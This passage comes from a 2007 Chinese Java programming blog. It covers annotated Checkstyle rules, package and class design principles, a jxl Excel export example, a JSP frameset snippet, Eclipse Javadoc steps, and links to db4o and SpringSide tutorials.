            <!-- The follow property value demonstrates the ability     -->
            <!-- to have access to ANT properties. In this case it uses -->
            <!-- the ${basedir} property to allow Checkstyle to be run  -->
            <!-- from any directory within a project. See property      -->
            <!-- expansion,                                             -->
            <!-- http://checkstyle.sf.net/config.html#properties        -->
            <!-- <property                                              -->
            <!--     name="headerFile"                                  -->
            <!--     value="${basedir}/java.header"/>                   -->
        <!-- </module> -->

        <!-- Following interprets the header file as regular expressions. -->
        <!-- <module name="RegexpHeader"/>                                -->


        <!-- Checks for imports                              -->
        <!-- See http://checkstyle.sf.net/config_import.html
  对导入的包进行检查。有没有带*的,无效的包(默认sun.*),
  多余的导入(重复导入,导入的包包含在java.lang中,比如导入java.lang.String,类从同一个包中导入),
  没有使用的导入-->
        <module name="AvoidStarImport"/>
        <!--<module name="IllegalImport"/> --><!-- defaults to sun.* packages -->
        <module name="RedundantImport"/>
        <module name="UnusedImports"/>


        <!-- Checks for Size Violations.                    -->
        <!-- See http://checkstyle.sf.net/config_sizes.html
  检查长度。文件长度(默认2000),行长度(默认80),方法长度(默认150),参数的数量(默认7)-->
        <module name="FileLength"/>
        <module name="LineLength"/>
        <module name="MethodLength"/>
        <!--<module name="ParameterNumber"/>-->


        <!-- Checks for whitespace                               -->
        <!-- See http://checkstyle.sf.net/config_whitespace.html
  检查空格,默认的均为false,不用修改。不用太关心。用jalopy美化工具后,就可以了-->
        <!--<module name="EmptyForIteratorPad"/>-->
        <module name="MethodParamPad"/>
        <module name="NoWhitespaceAfter"/>
        <module name="NoWhitespaceBefore"/>
        <module name="OperatorWrap"/>
        <module name="ParenPad"/>
        <module name="TypecastParenPad"/>
        <!--<module name="TabCharacter"/>-->
        <module name="WhitespaceAfter"/>
        <module name="WhitespaceAround"/>


        <!-- Modifier Checks                                    -->
        <!-- See http://checkstyle.sf.net/config_modifiers.html
  检查修饰符,是否按照顺序(1. public 2. protected 3. private 4. abstract 5. static 6. final 7. transient 8. volatile 9. synchronized 10. native 11. strictfp ),
  是否在类型定义中有多余的修饰符,例:interface中,方法均不public,就不用在方法前写明public了-->
        <module name="ModifierOrder"/>
        <module name="RedundantModifier"/>


        <!-- Checks for blocks. You know, those {}'s         -->
        <!-- See http://checkstyle.sf.net/config_blocks.html
  检查语句块。嵌套的语句块,是否有空的语句块,程序块(for,else等)左括号的位置,
  程序块两端的括号,程序块(for,else等)右括号的位置-->
        <module name="AvoidNestedBlocks"/>
        <module name="EmptyBlock"/>
        <module name="LeftCurly"/>
        <module name="NeedBraces"/>
        <module name="RightCurly"/>


        <!-- Checks for common coding problems               -->
        <!-- See http://checkstyle.sf.net/config_coding.html
  检查同一行中的条件语句,尽量不要用String b = (a==null || a.length<1) ? null : a.substring(1);
  双重检测锁定,避免同步时运行开销
  检测空语句(单独的分号;)
  检查类覆盖了equals()方法和hashCode()方法,若覆盖了equals,则要覆盖hashCode
  检查本地变量或者参数是否要隐藏在同一个类的字段当中,容易在参数中出现问题,所以去掉
  检查非法的实例化,当选用工厂方法的时候
  检查子表达式,例如在String s=Integer.toString(i=2)当中的赋值,要在语句前赋值
  检查没有”魔数”出现,所有的数字均要定义为常量,所以去掉。-1,0,1,和2不被认为是”魔数“
  检查switch语句有default子句
  检查多余的在throws语句当中异常声明,比如重复的没有检查的的异常或者一个已经声明的异常的子类.
  检查过于复杂的boolean表达式,if (b == true), b || true, !false, 等等
  检查过于复杂的boolean返回语句if (valid())  return false;else return true;修改为return !valid();-->
        <module name="AvoidInlineConditionals"/>
        <module name="DoubleCheckedLocking"/>    <!-- MY FAVOURITE -->
        <module name="EmptyStatement"/>
        <module name="EqualsHashCode"/>
        <!--<module name="HiddenField"/>-->
        <module name="IllegalInstantiation"/>
        <module name="InnerAssignment"/>
        <!--<module name="MagicNumber"/>-->
        <module name="MissingSwitchDefault"/>
        <module name="RedundantThrows"/>
        <module name="SimplifyBooleanExpression"/>
        <module name="SimplifyBooleanReturn"/>

        <!-- Checks for class design                         -->
        <!-- See http://checkstyle.sf.net/config_design.html
  检查类设计
  检查类的扩展性,父类的空方法,要可以被子类实现,但是有的类,是可以自己写一些实现的,并不需要全部实现
  检查一个有私有构造方法的类,要为final的
  确认应用工具类(类仅仅包含静态的方法)没有一个公有的创建方法
  实现Bloch式的,根据Bloch的原则,一个接口应该定义为一个类型.因此如果定义一个接口里面不包含方法而仅仅包含常量是不合适的检查类成员的可视性,基本原理就是封装-->
        <!--<module name="DesignForExtension"/>-->
        <module name="FinalClass"/>
        <module name="HideUtilityClassConstructor"/>
        <!--<module name="InterfaceIsType"/>-->
        <module name="VisibilityModifier"/>


        <!-- Miscellaneous other checks.                   -->
        <!-- See http://checkstyle.sf.net/config_misc.html
  检查组类型变量的声明,要使用java型的,int[] someArray,不要使用C型的,int someArray[]
  要method,构造方法和catch中的参数为fianl的,不能满足
  给定义的属性的正则表达示加信息,如果没有,提示message
  todo注释,现在没有需要。让人忘记想要记住的东西,
  定义一个常量,均要用大写,没有必要-->
        <module name="ArrayTypeStyle"/>
        <!--<module name="FinalParameters"/>-->
        <module name="GenericIllegalRegexp">
            <property name="format" value="\s+$"/>
            <property name="message" value="Line has trailing spaces."/>
        </module>
        <!--<module name="TodoComment"/>
        <module name="UpperEll"/>-->

    </module>

</module>

posted @ 2007-05-09 10:32 牛宝雷 阅读(1358) | 评论 (0) | 编辑 收藏
 
面向对象设计的原则之二--包的设计原则
             在上一节中,主要写了类的设计原则。然后在网上找了一些包的设计原则和包之间的耦合性原则的介绍,均比较散,只是一个大概上的介绍,今天在网上搜索到一篇不错的文章,现摘抄如下:
   

            

1  晨后综合症和包的发布

你曾有过这样的经历吗?工作了一整天,终于完成了某项功能后回家,不料第二天早晨一来却发现那项功能不再工作了。原因是什么呢?因为有人比你走得更晚,并且更改了你所依赖的某些东西!这就是所谓的“晨后综合症"。受“晨后综合症”困扰的团队常常几周时间都无法构建出一个稳定的版本,每个人都忙于一遍遍更改他们的代码,试图使之能够相容与其他人所做的最近更改,从而造成团队士气低落,效率不高,陷入了可怕的集成地狱中。为此有的团队在集成期间禁止 check in ,这显然不是一个好办法,一方面,如果不用技术手段很难避免有意或无意的 check in ,另一方面开发者为了进行后续开发而又不影响当前集成的版本,可能不得不手工进行版本管理, 再有,它使团队成员间的协作也变得困难。

对包进行发布能有效避免晨后综合症的发生。造成晨后综合症的原因在于依赖者所依赖的包是变化的,这就使依赖者工作于一个不稳定的基础之上,对被依赖者的改变,依赖者必须作出相容的改变。采用包的发布机制,依赖者必须选择被依赖包发布的一个特定版本,而发布后的包,其内容是不允许变化的,因此依赖者所依赖的东西就不会改变;同时,被依赖包的任何改变都必须作为一个新版本发布,而依赖者有权决定是否采用这个新版本,换句话说,是否接受被依赖者的改变是由依赖者决定的,而在此之前,依赖者是不得不被动地接受被依赖者的改变。

 

2  包的设计原则

要对包进行发布,首先要先设计好包,对规模较大的应用来说,划分包的组合很多,仅仅把看起来像是适合在一起的类放进相同的包中,得到的往往是一种不好的包结构:发布很困难、不容易重用、难于更改等等,这种包结构带来的可能是更多的麻烦。显然我们需要一些原则来指导包的划分,以下列出这些原则,前三个原则用来指导把类划分到包中,关注包的内聚性,后三个原则用来处理包之间的相互关系,关注包的耦合性。

2.1  REP 重用发布等价原则

重用的粒度就是发布的粒度。

如果一个包中的软件是用来重用的,那么它就不能再包含不是为了重用目的而设计的软件。换句话说,一个包中的软件要么都是可重用的,要么都不是可重用的。简单地声明一个类是可重用的做法是不现实的,我们所重用的任何东西都必须同时被发布和跟踪。如果一个包同时包含了可重用的类和不可重用的类,那么当不可重用的类发生变化时,就要进行一次包的发布,而原本不受影响的重用者就需要决定是否采用新版本,以及采用新版本后可能的编译,连接和测试工作。这些内耗操作是应该避免的。

2.2  CRP 共同重用原则

一个包中的所有类应该是共同重用的。如果重用了包中的一个类,那么就要重用包中的所有类。

在大多数情况下,一个可重用抽象需要多个类来表达,该原则规定这些类应该在一个包中,而属于不同抽象的类不应该在一个包中。乍看起来,这条原则和 REP 有点相似,但实际上还是不同的,比如,抽象 A 包括类 A1、A2、A3 ,抽象 B 包含类 B1、B2、B3 ,从 REP 原则来看,这个包没有什么不对,因为该包的软件都是可重用的,但它却违反了 CRP 原则,因为重用者完全可以只重用 A 抽象的类或只重用 B 抽象的类,这样当任一抽象的改变都会导致该包重新发布,虽然该发布对某一抽象的使用者是无意义的,但是他们仍然需要需要重新验证和重新发布,这会白费相当数量的努力。

2.3  CCP 共同封闭原则

包中的所用类对于同一类性质的变化应该是共同封闭的。一个变化若对一个包产生影响,则将对该包中的所有类产生影响,而对其他的包不造成任何影响。

REP 和 CRP 关注的都是重用性, CCP 关注的是可维护性。对大多数的应用来说,可维护性的重要性是超过可重用性的。一个变化(包括需求上的,设计上的等等)可能会引起多个类的更改, CCP 要求我们把这些类放在一个包中,同时把那些不受影响的类放到其他的包中,因此一个包只有一个引起变化的原因,一个变化只对一个包产生影响,这样大大减少了重新发布的次数和重新发布对其他包的影响,从而提高了软件的可维护性。

2.4  ADP 无环依赖原则

在包的依赖关系图中不允许存在环。

如果包的依赖关系图中存在环,就会导致环上的所有软件包必须同时发布,如下图,
由于 P3 使用了 P1 中的一个类而形成了依赖环,若要发布 P1 ,必须先发布 P2 和 P3 ,而发布 P3 又要先发布  P1 和 P2,P1、P2、P3 实际上已经变成了同一个大包,于是工作于这些包上的开发人员不可避免地会遭受晨后综合症。
去掉依赖环的方法有两个:

  1. 使用DIP。如图,把Y的接口和实现分离,

  2. 增加新包。如图,把 P1 和 P3 都依赖的类移到一个新包中

 

2.5  SDP 稳定依赖原则

朝着稳定的方向进行依赖。

如果一个包被很多包所依赖,那么它就是稳定的,因为要使所有依赖于它的包能够相容于对它所做的更改,往往需要非常大的工作量。一个系统中的所有包并非都应该都是稳定的,因为如果那样的话,系统将很难更改。 SDP 指导我们处理稳定包和不稳定包之间的关系:不稳定的包应该依赖于稳定的包,一个包应该依赖于比他更稳定的包。你设计了一个不稳定的包,期望它能随变化容易地更改,可当它被一个稳定的包依赖后,它就再也不会易于更改了,这就使软件难于修改和变化。

2.6  SAP 稳定抽象原则

包的稳定程度应该和其稳定程度一致。

一个系统的高层构架和设计决策应该被放进稳定的包中,因为这些构架决策不应该经常改变,然而稳定包的不易更改的特点会使这些架构决策不灵活,显然只用稳定性来度量一个包是不够的, SAP 告诉我们:稳定的包也应该是抽象的。它应该包含抽象类,系统通过在其他包中实现该稳定包中的抽象类来进行扩展,而该稳定包无需修改,从而在保持稳定的同时也不失灵活性。

 

3  包的设计过程

几年前当我还不知道这些包的设计原则时,认为包就是系统的高层的功能分解,应该在项目开始时就设计好,结果遭受了失败。实际上,包的依赖关系图和描绘系统的功能之间几乎没有关系,它是系统可构建性的映射图。项目开始时,我们还不知道系统中有哪些类,更不必说它们之间的关系,在这种情况下不仅很难创建出包依赖关系图,即使创建出来也很可能是不合理的。包的依赖关系结构应该是和系统的逻辑设计一起增长和演化的,项目开始时不必考虑包,系统仍以类的粒度组织,随着开发的进行,类越来越多,对依赖关系进行管理,避免项目开发中出现晨后综合症的需要也不断增长,此时我们应用 CCP 原则对把可能一同变化的类组织成包进行发布,随着系统的不断增长,我们开始关注创建可重用的元素,于是开始使用 CRP 和 REP 来指导包的组合。最后使用 ADP、SDP、SAP 对包图进行度量,去掉不好的依赖。

 

4  你真的采用了包的发布机制了吗

如果说某个做产品的团队没有采用包的发布机制,它也许会大叫冤枉:我们明明是进行了发布的呀,你看,这不是我们发布的1.0、1.2版本吗?事实上,任何一个产品都离不开包的发布,只不过对这样的团队而言,他们系统里真正意义上的包只有一个,那就是整个系统,而该包的发布常常是在经过了晨后综合症的洗礼之后,是在开发基本完毕后进行的,实际上,我们更应该在产品的开发过程中使用这一机制,这样,产品的开发过程才会以合理,有序的方式进行,产品才能尽快地交付。

posted @ 2007-04-30 13:54 牛宝雷 阅读(700) | 评论 (0) | 编辑 收藏
 
面向对象设计的原则

      明天就是五一了,先祝各位老友们五一快乐。
      公司终于让我做设计了,哈哈,不过是详细设计,还没有到系统的份上。不还我还是比较满意的,以前有辞职的想法,现在,怎么也要等这个项目做完之后再说了。
      这段时间一直在研究“面向对象设计的原则”,以下是学习的一点经验:
      1.类的设计原则
         在网上,一般认为灯的设计原则有五类,如下:
   1)SRP,单一职责原则,一个类应该有且只有一个改变的理由。 
                  所谓单一职责原则,就是就一个类而言,应该仅有一个引起它的变化的原因。换句话说,一个类的功能要单一,只做与它相关的事情。
  这个原则是最简单、最容易理解,却是最不容易做到的事情。这个原则的道理谁都理解,可是在实践中呢?

  我们来看一个例子:

if(action.equals("load")&&tab.equals("1")){
request.setAttribute("tabId",tab);
form.set("tabId",tab);
speciManager.loadIncrement(actionForm, request, tab);
}
if(action.equals("Save")&&tab.equals("1")){
System.out.println("inter increment save action");
……
request.setAttribute("tabId",tab);
}
if(action.equals("load")&&tab.equals("2")){
request.setAttribute("tabId",tab);
form.set("tabId",tab);
speciManager.loadMeasureMent(actionForm, request, tab);
}
if(action.equals("Save")&&tab.equals("2")){
……
System.out.println("inter increment save action");
speciManager.loadIncrement(actionForm, request, tab);
form.set("tabId",tab);
request.setAttribute("tabId",tab);

}
  一看就知道这个类做了太多的工作,它既要load一个tab为1的页面和一个tab为2的页面;又要save一个tab为1页面和一个tab为2的页面。这个类的代码我只截取了里面很少的一部分,绝大部分的代码我都省略掉了。这段代码写到最后是越来越混乱,直到最后失败。

  对照着这个例子,我们再来分析一下为什么要遵守单一职责愿则:

  第一、有助于我们分析和编码的思路的清晰。当你的代码里有了三层或以上的if语句或for语句的嵌套的时候,你不要跟我说,你已经把问题分析得很清楚了。多层嵌套的if或for语句只能说明你还没有把问题分析清楚。

  第二、使我们的编码、测试和维护变得简单。

  第三、将一个个复杂的问题简单化以后,易于代码的重用。当你的代码的多个功能搅和在一起的时候,你是没办法考虑代码的重用的,因为你的每一处代码都有不同。

  第四、易于系统的扩展。 
 2)OCP,开放封闭原则,你应该能够不用修改原有类就能扩展一个类的行为。 
               “开一闭”原则讲的是:一个软件实体应当对扩展开放,对修改关闭。 这个规则说的是,在设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展。 从另外一个角度讲,就是所谓的“对可变性封装原则”。“对可变性封装原则”意味着两点: 1 .一种可变性不应当散落在代码的很多角落里,而应当被封装到一个对象里面。同一种可变性的不同表象意味着同一个继承等级结构中的具体子类。 2.一种可变性不应当与另一种可变性混合在一起。即类图的继承结构一般不应超过两层。 做到“开—闭”原则不是一件容易的事,但是也有很多规律可循,这些规律同样也是设计原则,它们是实现开—闭原则的工具
  3)  LSP,Liskov替换原则,派生类要与其基类自相容。 
                   里氏代换原则:就是子类代替父类,程序或者代码的行为不变。例如如果对每一个类型为T1的对象o1,都有类型为T2的对象o2,使得以T1定义的所有程序P在所有对象o1都换成o2时,程序P的行为没有变化,那么类型T2是T1的子类型。 即如果一个软件实体使用的是基类的话那么也一定适用于子类。但反过来的代换不成立。 如果有两个具体类A和B之间的关系违反了里氏代换原则,可以在以下两种重构方案中选择一种: 1 创建一个新的抽象类C,作为两个具体类的超类,将A和B共同的行为移动到C中,从而解决A和B行为不完全一致的问题。 2 从B到A的继承关系改写为委派关系。 
 4) DIP,依赖倒置原则,依赖于抽象而不是实现。 
                  依赖倒转原则讲的是:要依赖于抽象,不要依赖于具体。即针对接口编程,不要针对实现编程。针对接口编程的意思是,应当使用接口和抽象类进行变量的类型声明、参量的类型声明,方法的返还类型声明,以及数据类型的转换等。不要针对实现编程的意思就是说,不应当使用具体类进行变量的类型声明、参量的类型声明,方法的返还类型声明,以及数据类型的转换等。 依赖倒转原则虽然强大,但却不易实现,因为依赖倒转的缘故,对象的创建很可能要使用对象工厂,以避免对具体类的直接引用,此原则的使用还会导致大量的类。维护这样的系统需要较好的面向对象的设计知识。 此外,依赖倒转原则假定所有的具体类都是变化的,这也不总是正确的。有一些具体类可能是相当稳定、不会发生变化的,消费这个具体类实例的客户端完全可以依赖于这个具体类。
  5) ISP,接口隔离原则,客户只要关注它们所需的接口。 
                  接口隔离原则讲的是:使用多个专门的接口比使用单一的接口要好。从客户的角度来说:一个类对另外一个类的依赖性应当是建立在最小的接口上的。如果客户端只需要某一些方法的话,那么就应当向客户端提供这些需要的方法,而不要提供不需要的方法。提供接口意味着向客户端作出承诺,过多的承诺会给系统的维护造成不必要的负担。 

         2.包原则

      REP,重用发布等价原则,重用的粒度就是发布的粒度。 
      CCP,共同封闭原则,包中的所有类对于同一类性质的变化应该是共同封闭的。  
      CRP,共同重用原则,一个包中的所有类应该是共同重用的。 

      3  .包之间的耦合性原则 
       ADP,无环依赖原则,在包的依赖关系图中不允许存在环。 
      SDP,稳定依赖原则,朝着稳定的方向进行依赖。 
      SAP,稳定抽象原则,包的抽象程度应该和其稳定程度一致。
posted @ 2007-04-30 13:47 牛宝雷 阅读(235) | 评论 (0) | 编辑 收藏
 
java jxl导出excel文件

前两天公司的同事用java jxl写了一段导出excel的代码,值得学习,现提供代码如下:(导出一个list,要作到iterator)
首先导出jxl.jar,然后方法如下:
/**
  * @param mapping
  * @param form
  * @param request
  * @param response
  * @return ActionForward 得到输入的起始客户代码和结束客户代码,查询结算清单,返回结果
  */
 public void doExportAsXLS(ActionMapping mapping, ActionForm form,
   HttpServletRequest request, HttpServletResponse response) {
  String userCodeBegin = request.getParameter("uCodeBegin");
  String userCodeEnd = request.getParameter("uCodeEnd");
  log.info("userCodeBegin " + userCodeBegin.toString());
  log.info("userCodeEnd " + userCodeEnd.toString());
  if (userCodeBegin == null || userCodeBegin.equals("")) {
   userCodeBegin = userCodeEnd;
  }
  if (userCodeEnd == null || userCodeEnd.equals("")) {
   userCodeEnd = userCodeBegin;
  }
  List balanceList = settleService.getSettleBill(userCodeBegin,
    userCodeEnd);

  OutputStream os = null;
  WritableWorkbook wwb = null;
  Date date = new Date();
  Format format = new SimpleDateFormat("yyyyMMdd");
  String strDate = format.format(date);
  try {

   os = new FileOutputStream(strDate + "settle.xls");
   wwb = Workbook.createWorkbook(os);
   Iterator it = balanceList.iterator();
            doConfigExcel(it, wwb);
  } catch (Exception e) {

  } finally {
   try {
    wwb.write();
    wwb.close();
    os.close();
   } catch (Exception e) {
    e.printStackTrace();
   }

  }

  response.setHeader("Content-disposition", "attachment;filename="
    + strDate + "settle.xls\"");
  response.setContentType("application/msexcel");
  try {
   FileInputStream fileInputStream = new FileInputStream(strDate
     + "settle.xls");
   OutputStream out = response.getOutputStream();
   int i = 0;
   while ((i = fileInputStream.read()) != -1) {
    out.write(i);
   }
   fileInputStream.close();
  } catch (FileNotFoundException e) {
   e.printStackTrace();
  } catch (IOException e) {
   e.printStackTrace();
  }

 }

private void doConfigExcel(Iterator it, WritableWorkbook wwb) {
  
  
  try {
   
   
   while (it.hasNext()) {
    Label lchild;
    SettleVo sv = (SettleVo) it.next();
    String userCode = sv.getUserCode();
    int i = 2;
    int j = 0;
    WritableFont wf = new WritableFont(WritableFont.TIMES, 18, WritableFont.BOLD, true);
    WritableCellFormat wcfF = new WritableCellFormat(wf);
    
    WritableSheet ws = wwb.createSheet(userCode, 0);
    Label labelMain = new Label(4, 0, "中国玉米淀粉网 -- 客户结算清单",wcfF);
    
    Label labelMain1 = new Label(4, 1, "客户结算清单",wcfF);
    ws.addCell(labelMain);
    ws.addCell(labelMain1);
    lchild = new Label(0, 2, "客户代码");

    
    ws.addCell(lchild);

    lchild = new Label(0, 3, userCode);
    ws.addCell(lchild);

    String code = sv.getCode();
    lchild = new Label(2, 2, "摊位代码");
    ws.addCell(lchild);
    lchild = new Label(2, 3, code);
    ws.addCell(lchild);

    String fdate = sv.getFormatDate();
    lchild = new Label(4, 2, "日期");
    ws.addCell(lchild);
    lchild = new Label(4, 3, fdate);
    ws.addCell(lchild);

    lchild = new Label(4, 4, "当日成交清单",wcfF);
    ws.addCell(lchild);

    Iterator its = sv.getOrders().iterator();
    lchild = new Label(0, 5, "序 号");
    ws.addCell(lchild);
    lchild = new Label(2, 5, "交货时间");
    ws.addCell(lchild);
    lchild = new Label(4, 5, "市 场");
    ws.addCell(lchild);
    lchild = new Label(6, 5, "合约名称");
    ws.addCell(lchild);
    lchild = new Label(8, 5, "成交时间");
    ws.addCell(lchild);
    lchild = new Label(10, 5, "上网时间");
    ws.addCell(lchild);
    lchild = new Label(12, 5, "价 格");
    ws.addCell(lchild);
    lchild = new Label(14, 5, "数 量");
    ws.addCell(lchild);
    lchild = new Label(16, 5, "类 型");
    ws.addCell(lchild);
    int ii = 6;
    
    BigDecimal totalDealprice = new BigDecimal(0);
    Long totalAmount = new Long(0);
    while (its.hasNext()) {
     ii ++;
     TSpotOrder order = (TSpotOrder) its.next();

     String ordercode = order.getOrderCode();
     lchild = new Label(0, ii, ordercode);
     ws.addCell(lchild);

     String tradeTime = order.getLastTradeTime().toString();
     lchild = new Label(2, ii, tradeTime);
     ws.addCell(lchild);

     String exchange = order.getExchange();
     lchild = new Label(4, ii, exchange);
     ws.addCell(lchild);

     String stockname = order.getFuturesStockBase()
       .getStockName();
     lchild = new Label(6, ii, stockname);
     ws.addCell(lchild);

     String dealtime = order.getForMateDealTime();
     lchild = new Label(8, ii, dealtime);
     ws.addCell(lchild);


     lchild = new Label(10, ii, "-");
     ws.addCell(lchild);

     String dealprice = order.getDealPrice().toString();

     lchild = new Label(12, ii, dealprice);
     ws.addCell(lchild);
                   
     totalDealprice = totalDealprice.add(order.getDealPrice());
     
     String amount = String.valueOf(order.getAmount());

     lchild = new Label(14, ii, amount);
     ws.addCell(lchild);
                    
     totalAmount = totalAmount + order.getAmount();
     
     String buy = order.getBuyFormat();

     lchild = new Label(16, ii, buy);
     ws.addCell(lchild);

    }
    lchild = new Label(0, ii + 1, "合计");
    ws.addCell(lchild);
    lchild = new Label(12, ii + 1, totalDealprice.toString());
    ws.addCell(lchild);
    lchild = new Label(14, ii + 1, totalAmount.toString());
    ws.addCell(lchild);
    
    
    int jj = ii + 3;
                int jjj = jj + 2;
    lchild = new Label(4, ii + 2, "订货表",wcfF);
    ws.addCell(lchild);

    lchild = new Label(0, jj, "交货月份");
    ws.addCell(lchild);
    lchild = new Label(2, jj, "市 场");
    ws.addCell(lchild);
    lchild = new Label(4, jj, "合约名称");
    ws.addCell(lchild);
    lchild = new Label(6, jj, "买 / 卖");
    ws.addCell(lchild);
    lchild = new Label(8, jj, "平均价格 ");
    ws.addCell(lchild);
    lchild = new Label(10, jj, "数 量");
    ws.addCell(lchild);
    lchild = new Label(12, jj, "保证金");
    ws.addCell(lchild);
    lchild = new Label(14, jj, "浮 亏");
    ws.addCell(lchild);
    
    BigDecimal totalAvgprice = new BigDecimal(0);
    Long totalAvgamount = new Long(0);
    BigDecimal totalDeposit = new BigDecimal(0);
    BigDecimal totalProloss = new BigDecimal(0);
    
    Iterator _its = sv.getHolds().iterator();
    while (its.hasNext()) {
     jjj ++ ;
     HoldVo4settle hold = (HoldVo4settle) _its.next();

     String month = hold.getDeliverMonth();
     lchild = new Label(0, jjj, month);
     ws.addCell(lchild);

     String market = hold.getMarket();
     lchild = new Label(2, jjj, market);
     ws.addCell(lchild);

     String ordername = hold.getOrderName();
     lchild = new Label(4, jjj, ordername);
     ws.addCell(lchild);

     String buyformat = hold.getBuyFormat();
     lchild = new Label(6, jjj, buyformat);
     ws.addCell(lchild);

     String avgprice = hold.getPrice().toString();
     lchild = new Label(8, jjj, avgprice);
     ws.addCell(lchild);
                   
     totalAvgprice = totalAvgprice.add(hold.getPrice());
     
     String avgamount = hold.getAmount().toString();
     lchild = new Label(10, jjj, avgamount);
     ws.addCell(lchild);
 
     totalAvgamount = totalAvgamount + hold.getAmount();
     
     String deposit = hold.getDeposit().toString();
     lchild = new Label(12, jjj, deposit);
     ws.addCell(lchild);
     
     totalDeposit = totalDeposit.add(hold.getDeposit());

     String proloss = hold.getPro_loss().toString();
     lchild = new Label(14, jjj, proloss);
     ws.addCell(lchild);
     
     totalProloss = totalProloss.add(hold.getPro_loss());

    }

    lchild = new Label(0, jjj , "合计");
    ws.addCell(lchild);
    
    lchild = new Label(8, jjj, totalAvgprice.toString());
    ws.addCell(lchild);
    
    lchild = new Label(10, jjj, totalAvgamount.toString());
    ws.addCell(lchild);
    
    lchild = new Label(12, jjj, totalDeposit.toString());
    ws.addCell(lchild);
    
    lchild = new Label(14, jjj, totalProloss.toString());
    ws.addCell(lchild);
    
    
    lchild = new Label(4, jjj + 2, "资金结算表",wcfF);
    ws.addCell(lchild);
               
    BigDecimal capital = sv.getAddCapital();
    lchild = new Label(0, jjj + 3, "+ 当日存入");
    ws.addCell(lchild);
    lchild = new Label(6, jjj + 3, "- 当日支出 ");
    ws.addCell(lchild);
    lchild = new Label(0, jjj + 4, "+ 当日交易盈亏");
    ws.addCell(lchild);
    lchild = new Label(6, jjj + 4, "- 交易手续费 ");
    ws.addCell(lchild);
    
    if(capital != null){
     lchild = new Label(2, jjj + 3, capital.toString());
     ws.addCell(lchild);
    }
    

    BigDecimal redcapital = sv.getReduceCapital();
    if(redcapital != null){
     lchild = new Label(8, jjj + 3, redcapital.toString());
     ws.addCell(lchild);
    }
    

    BigDecimal pro_loss = sv.getPro_loss();
    if(pro_loss != null){
     lchild = new Label(2, jjj + 4, pro_loss.toString());
     ws.addCell(lchild);

    }
    
    BigDecimal fee = sv.getFee();
    if(fee != null){
     lchild = new Label(8, jjj + 4, fee.toString());
     ws.addCell(lchild);
    }
    
               
   }
  } catch (RowsExceededException e) {

   e.printStackTrace();
  } catch (WriteException e) {
   e.printStackTrace();
  }
 }

posted @ 2007-04-26 11:03 牛宝雷 阅读(8526) | 评论 (1) | 编辑 收藏
 
开源面向对象数据库 db4o 之旅

         一天一个新技术.今天网友介绍了db4o,据说是mysql+hibernate的44倍!人都是很感性的动物,不能性能如何,先学习一下吧,总归没有什么坏处.
         因为是刚刚学习,根本没有任何的经验可言.下面是学习的几个文档,先学习下.同时作为资料保存在这里.
      开源面向对象数据库 db4o 之旅,
      第 1 部分:
初识 db4o:http://www.ibm.com/developerworks/cn/java/j-lo-db4o1/index.html
      第 2 部分: db4o 查询方式:http://www.ibm.com/developerworks/cn/java/j-lo-db4o2/index.html
      第 3 部分: 深入db4o:   http://www.ibm.com/developerworks/cn/java/j-lo-db4o3/index.html

      其它参考资料在http://www.ibm.com/developerworks/cn/java/j-db4o/中的下文可以看到,比如:db4o 官方网站 db4o 开发者论坛 db4o 中国开发者论坛 等,以后在学习过程中,会把相关的学习体会写到下面,也请众多网友共同学习和交流
posted @ 2007-04-24 14:05 牛宝雷 阅读(215) | 评论 (0) | 编辑 收藏
 
iframe边界移动问题
iframe是对窗口分区的一个控件,详细情况请上网搜索一下,我这里描述一下分区后的边界移动问题.
为了使分区后边界不能移动,请加入noresize="noresize",如下面代码所示.否则可以去掉.呵呵 ,有些废话了.这段时间比较郁闷,没想到我还要去做美工,这可是美工的工作呀!!
郁闷ing..................

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
 String path = request.getContextPath();
%>   
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>管理员控制台</title>
</head>
<FRAMESET cols="160,*" frameborder=0 name="mainFrame">
 <FRAME SRC="<%=path%>/admin/adminMenu.do" NAME="menu" noresize="noresize">
 <FRAME SRC="<%=path%>/admin/userManagement.do?method=initPage" NAME="content" noresize="noresize">
</FRAMESET>
<noframes>
 <body>
  你的浏览器不支持frame结构,请用支持frame的浏览器使用此系统!
 </body>
</noframes>
</html>
posted @ 2007-04-20 17:13 牛宝雷 阅读(1255) | 评论 (0) | 编辑 收藏
 
使用eclipse生成文档(javadoc)
使用eclipse生成文档(javadoc)主要有三种方法:
1,在项目列表中按右键,选择Export(导出),然后在Export(导出)对话框中选择java下的javadoc,提交到下一步。
在Javadoc Generation对话框中有两个地方要注意的:
javadoc command:应该选择jdk的bin/javadoc.exe
destination:为生成文档的保存路径,可自由选择。
按finish(完成)提交即可开始生成文档。
2,用菜单选择:File->Export(文件->导出),
剩下的步骤和第一种方法是一样的。
3,选中要生成文档的项目,然后用菜单选择,
Project->Generate Javadoc直接进入Javadoc Generation对话框,剩余的步骤就和第一种方法在Javadoc Generation对话框开始是一样的。
posted @ 2007-04-18 17:15 牛宝雷 阅读(198) | 评论 (0) | 编辑 收藏
 
springside开发过程

前段时间一直在学习springside,今天想做一些例子,发现又忘记了很多,呵呵,没有办法,只好再从网上找学习资料了.现将学习资料放到这里,供以后学习使用方便,也方便一下大家,可以一次性找到很多供学习的东西.
1.http://www.blogjava.net/youxia/archive/2006/12/21/89365.html SpringSide开发实战(一):使用Eclipse让SpringSide跑起来
2.http://www.blogjava.net/youxia/archive/2006/12/23/89692.html SpringSide开发实战(二):修改数据库、字符编码和快速部署应用程序
3.http://www.blogjava.net/youxia/archive/2006/12/26/90112.html SpringSide开发实战(三):漫谈CSS和页面布局
4.http://www.blogjava.net/youxia/archive/2007/01/05/91994.html SpringSide开发实战(四):打通数据持久层的任督二脉
5.http://www.blogjava.net/youxia/archive/2007/01/11/93277.html SpringSide开发实战(五):兵马未动,粮草先行

6.http://www.blogjava.net/youxia/archive/2007/03/09/101320.html SpringSide开发实战(六):AJAX,在地狱中漫步
7.http://www.blogjava.net/youxia/archive/2007/03/15/104077.html SpringSide开发实战(七):在项目中整合FCKeditor
 8.http://www.blogjava.net/youxia/archive/2007/03/28/107083.html SpringSide开发实战(八):不是结局的结局,谈谈程序员的境界
这几篇资料从浅入深吧,有基础,也有扩展.让初学者学习的时候,有一个慢慢的过程.很是受用.
最后,应该对海边沫沫说声感谢.
